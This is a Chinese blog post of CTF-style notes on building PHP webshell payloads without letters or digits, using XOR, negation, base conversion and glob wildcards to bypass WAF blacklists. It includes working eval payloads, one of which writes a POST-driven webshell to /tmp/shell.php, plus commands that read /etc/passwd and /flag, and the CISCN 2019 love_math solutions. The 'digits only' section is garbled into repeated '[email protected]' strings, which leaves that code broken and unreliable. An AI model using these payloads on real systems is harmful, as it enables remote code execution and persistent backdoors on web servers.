trick

php短标签

php一共支持四种标签形式

详细内容参考http://w3c.3306.biz/php_course/show-12-17-1.html

1
2
3
4
5
6
<?php ?>  //最常用的一种形式,不解释

<?= ?> //类似于<?php echo "";?>

<script language=php> </script> //等效于<?php ?>
<% echo ""; %> //asp风格的标签

全局变量

$GLOBALS

这个全局变量数组中存放在php中的所有变量,变量名就是键名

linux glob通配符

*代表任意字符

?一个字符

命令续行符

\ 如果命令太长可以使用续行符,把一行命令拆成多行

运算

异或

相同返回0 不同返回1

取反

~

利用

shell方面

异或构造

利用异或来构造GET(因为get比post短,容易构造,当然构造Post也可以)

python脚本

1
2
3
4
5
6
arr=[chr(i) for i in range(ord('a'),ord('z'))] + [chr(j) for j in range(ord('A'),ord('Z'))]
str_list = ['`','~','!','@','%','^','*','(',')','-','+','{','}','[',']',':','<','>','.',',',';','|']
for i in str_list:
for j in str_list:
s = chr(ord(i)^ord(j))
print(i,j,s)

_GET组合

1
2
3
4
5
6
7
8
9
! ~ _

: } G

{ > E

} ) T

//:{}^}>) ==> GET

测试

1
2
3
4
5
6
7
<?php
function getflag(){
echo "success";
}
$a = $_GET['a'];
eval($a);
?>

两种方式

no.1 直接构造getflag,调用

1
?a=$_='[[]|@[['^'<>):,:<';$_();

no.2 先构造_GET,然后通过get调用getflag

1
2
?a=${'!:{}'^'~}>)'}{'_'}();&_=getflag
?a=${'!:{}'^'~}>)'}['_']();&_=getflag

如果对参数有长度有限制,第二种要比第一种好一点

进一步

构造assert执行shell

1
?code=$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=assert&__=file_put_contents('/tmp/shell.php','<?php eval($_POST[shell]);?>')

这里还有两个东西 php可变变量 复杂变量

具体参考

https://www.php.net/manual/zh/language.variables.variable.php

取反构造

参考链接

https://www.smi1e.top/php%E4%B8%8D%E4%BD%BF%E7%94%A8%E6%95%B0%E5%AD%97%E5%AD%97%E6%AF%8D%E5%92%8C%E4%B8%8B%E5%88%92%E7%BA%BF%E5%86%99shell/

原理

1
2
3
4
5
6
>>> print("和".encode())
b'\xe5\x92\x8c'
>>> print("和".encode()[2])
140
>>> print(~"和".encode()[2])
-141

“和”的第三个字节的值为140[0x8c],取反的值为-141。
负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141的16进制为0xff73,php中chr(0xff73)==115,115就是s的ASCII值。

1
2
3
4
5
6
7
<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>

//输出 ss

python脚本

1
2
3
4
5
6
import urllib.parse
def get(shell):
hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
return hexbit
result=get('get').replace('0x','%')
print(result)

no.1 直接调用 getflag

1
2
(~%98%9a%8b%99%93%9e%98)();   //这样貌似也可以,但是我没复现出来,还是老方法
?a=$_=(~%98%9a%8b%99%93%9e%98);$_();

no.2 同样构造_GET调用

1
?a=${~%a0%b8%ba%ab}{'_'}();&_=getflag

只用数字构造

PHP中true+true==2

不为空的字符串为true,对字符串取非,在取非就能获得1

参考链接

https://xz.aliyun.com/t/5677

1
2
3
4
5
6
7
8
9
10
11
12
//构造true
var_dump([email protected]); ==> bool(false)

var_dump([email protected]); ==> bool(true)
var_dump(true+true); ==> int(2)
var_dump(([email protected][email protected])*([email protected][email protected])); ==> int(4) //使用*运算
var_dump(([email protected][email protected])**([email protected][email protected][email protected])); ==> int(8) //使用**运算符,进行指数运算,php5.6才有

chr(([email protected][email protected][email protected][email protected])**([email protected][email protected][email protected])[email protected][email protected][email protected][email protected][email protected][email protected][email protected]); ==>G
chr(([email protected][email protected][email protected][email protected])**([email protected][email protected][email protected])[email protected][email protected][email protected][email protected][email protected]); ==>E
chr(([email protected][email protected][email protected])**([email protected][email protected][email protected][email protected])[email protected][email protected][email protected]); ==>T
chr(([email protected][email protected][email protected][email protected])**([email protected][email protected][email protected])[email protected][email protected][email protected][email protected][email protected][email protected][email protected]).chr(([email protected][email protected][email protected][email protected])**([email protected][email protected][email protected])[email protected][email protected][email protected][email protected][email protected]).chr(([email protected][email protected][email protected])**([email protected][email protected][email protected][email protected])[email protected][email protected][email protected]); ==> GET

另一种构造true的思路

1
2
3
4
5
$_=('>'>'<')+('>'>'<')
print($_)
print($_/$_)

结果会输出:2 1

不可见字符

1
2
3
<?php
$_ = $_GET['a'] ^ $_GET['b'];
print(urlencode($_));

_GET ^ %ff%ff%ff%ff ==> %A0%B8%BA%AB

异或两次,得到原字符

%A0%B8%BA%AB ^ %ff%ff%ff%ff ==> _GET

glob通配符

利用* ? 可以绕过waf

如果waf会检测cat等命令或者文件名,可以用* ? 通配符绕过

/bin/?at /etc/passwd 这样就可以读到/etc/passwd文件的内容

还有执行运算符`` 可以执行命令

`` ==>shell_exec

进制转换构造

36进制,由36个字符构成,0-9 a-z

可以出现字母的函数

1
2
3
4
5
6
7
8
9
hex2bin 16进制字符转到ascii字符

bin2hex ascii字符到16进制字符

base_convert 2-36进制转换

dechex 10==>16

hexdec 16==>10

貌似进制越低,长度越短

以2019国赛初赛的一道题为例

love_math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];

foreach ($blacklist as $blackitem) {

if (preg_match('/' . $blackitem . '/m', $content)) {

die("请不要输入奇奇怪怪的字符");

}

}

$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];

preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);

foreach ($used_funcs[0] as $func) {

if (!in_array($func, $whitelist)) {

die("请不要输入奇奇怪怪的函数");

}

}

eval('echo '.$content.';');
?>

这里有好几种构造方式

贴上几个

1
2
3
4
?c=${1}=base_convert(779914,10,36)^dechex(34661);${${1}}{0}(${${1}}{1})&0=highlight_file&1=/flag
rois大佬的
system(getallheaders(){9})
在请求头里加上9这个字段名 值是要执行的命令 比如9:cat /flag

这里说一下构造过程

因为36进制里面没有_GET等字符(只有36个字符0-9 a-z小写),所以要利用^,

先通过异或构造_GET

1
2
$_ = $_GET['a'] ^ $_GET['b'];
print(urlencode($_));

这里用的a=8765 b=_GET

得到gpsa 四个字母都在36进制的范围内,然后把gpsa 36转10进制

8765 16进制==>10进制

1
2
var_dump(base_convert($_GET['char'], 36, 10));  ==>779914
var_dump(hexdec(8765)); ==>34661

后面的就是通过php的一个复杂变量的调用,读文件

1
${${1}}{0}(${${1}}{1})==>${${_GET}}{highlight_file}(${${_GET}}{/flag})

记录一下小套路

其实就是要构造一个$_GET[arr]()

利用可变函数,来实现payload的执行

在还可以通过其他的全局变量$ENV $SERVER $GLOBAL $FILES 以及特殊的函数 getallheaders get_var_definded

参考链接

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

https://www.xmsec.cc/ciscn-2019-web-wp/

其他的链接都放在文中了